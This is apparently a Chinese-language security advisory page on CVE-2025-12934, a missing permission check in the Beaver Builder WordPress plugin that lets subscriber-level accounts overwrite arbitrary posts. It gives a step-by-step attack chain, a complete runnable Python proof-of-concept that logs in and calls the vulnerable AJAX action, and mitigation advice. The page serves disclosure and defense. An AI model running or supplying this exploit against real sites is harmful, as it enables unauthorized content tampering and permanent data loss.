IPBUF安全漏洞报告
English
CVE-2025-12934 CVSS 8.1 高危

CVE-2025-12934 | Beaver Builder 插件权限绕过导致未授权内容篡改

披露日期: 2025-12-23

漏洞信息

漏洞编号
CVE-2025-12934
漏洞类型
权限绕过/未授权访问
CVSS评分
8.1 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Beaver Builder WordPress Page Builder Plugin

相关标签

权限绕过未授权访问WordPress插件Beaver BuilderCVE-2025-12934内容篡改高危漏洞

漏洞概述

CVE-2025-12934 是 WordPress 热门页面构建插件 Beaver Builder 的一个高危安全漏洞。该漏洞存在于所有版本直至 2.9.4.1,由于 'duplicate_wpml_layout' 函数缺少权限检查,导致低权限认证用户(如订阅者角色)可以执行原本需要高级权限的操作。攻击者可利用此漏洞复制或更新任意文章内容,包括未发布的草稿、私密文章和受密码保护的文章。更严重的是,由于内容直接被覆盖,未保存修订版本的数据将永久丢失。该插件在 WordPress 生态中拥有超过 100 万活跃安装量,广泛应用于企业和个人网站,此次漏洞严重影响大量使用该插件的 WordPress 网站安全性。

技术细节

漏洞根源在于 Beaver Builder 插件的 class-fl-builder-model.php 文件中的 duplicate_wpml_layout 函数未进行 capability 检查。正常情况下,复制或更新其他用户文章需要 'edit_others_posts' 或 'delete_others_posts' 等高级权限,但该函数直接处理 POST 请求中的参数,允许任何已认证用户(包括最低权限的 subscriber)提交目标文章ID和源文章ID。攻击者构造恶意请求后,服务端会将源文章的内容完全覆盖到目标文章,且不验证请求者是否有权操作目标文章。漏洞利用的关键前提是目标文章和源文章必须是由 Beaver Builder 创建的。该漏洞属于 CWE-862(缺失权限检查)和 CWE-284(不适当的访问控制)类别。

攻击链分析

STEP 1
步骤1: 信息收集
攻击者识别目标网站使用的 WordPress 版本和 Beaver Builder 插件版本,确认版本在受影响范围内(≤2.9.4.1)
STEP 2
步骤2: 账户获取
攻击者获取目标 WordPress 站点的低权限账户(如 subscriber 角色),或注册一个新订阅者账户
STEP 3
步骤3: 构造恶意请求
攻击者构造针对 admin-ajax.php 的 POST 请求,action 参数设为 'fl_builder_duplicate_wpml_layout',post_id 为目标文章ID,duplicate_post_id 为源文章ID
STEP 4
步骤4: 发送漏洞利用请求
使用已认证的 session cookie 发送恶意请求,绕过服务端权限检查
STEP 5
步骤5: 内容篡改
服务端执行 duplicate_wpml_layout 函数,将源文章内容完整覆盖到目标文章,包括私密和受密码保护的内容
STEP 6
步骤6: 数据破坏
目标文章原始内容被永久覆盖,未保存修订版本的数据无法恢复,可能导致业务数据丢失

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-12934 PoC - Beaver Builder Unauthorized Post Modification # Author: Security Researcher # Target: Beaver Builder Plugin < 2.9.5 import requests import sys def exploit_cve_2025_12934(target_url, username, password, source_post_id, target_post_id): """ Exploit for Beaver Builder duplicate_wpml_layout function Missing capability check allows authenticated users to modify arbitrary posts """ # Login to WordPress login_url = f"{target_url}/wp-login.php" session = requests.Session() login_data = { 'log': username, 'pwd': password, 'wp-submit': 'Log In', 'redirect_to': '/wp-admin/', 'testcookie': '1' } response = session.post(login_url, data=login_data, cookies={'wordpress_test_cookie': 'WP+Cookie+check'}) if 'wordpress_logged_in' not in session.cookies.get_dict(): print("[-] Login failed") return False print("[+] Login successful") # Exploit the missing capability check exploit_url = f"{target_url}/wp-admin/admin-ajax.php" # The vulnerable action: 'fl_builder_duplicate_wpml_layout' exploit_data = { 'action': 'fl_builder_duplicate_wpml_layout', 'post_id': target_post_id, # Target post to be overwritten 'duplicate_post_id': source_post_id # Source post content to copy } response = session.post(exploit_url, data=exploit_data) if response.status_code == 200: print(f"[+] Exploit sent successfully") print(f"[+] Post {target_post_id} content replaced with content from post {source_post_id}") return True else: print(f"[-] Exploit failed with status code: {response.status_code}") return False if __name__ == "__main__": if len(sys.argv) < 6: print("Usage: python cve_2025_12934.py <target_url> <username> <password> <source_post_id> <target_post_id>") sys.exit(1) target_url = sys.argv[1] username = sys.argv[2] password = sys.argv[3] source_post_id = sys.argv[4] target_post_id = sys.argv[5] exploit_cve_2025_12934(target_url, username, password, source_post_id, target_post_id)

影响范围

Beaver Builder Lite Version < 2.9.5
Beaver Builder Plugin (Premium) < 2.9.5

防御指南

临时缓解措施
在官方补丁发布前,可采取以下临时缓解措施:1) 限制用户注册功能,仅允许受信任用户注册;2) 通过 WAF 或 .htaccess 规则临时禁用 fl_builder_duplicate_wpml_layout AJAX action;3) 将所有用户的编辑权限限制为仅能编辑自己的文章;4) 启用双因素认证增强管理员账户安全;5) 考虑暂时禁用 Beaver Builder 插件,使用 WordPress 默认编辑器替代。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表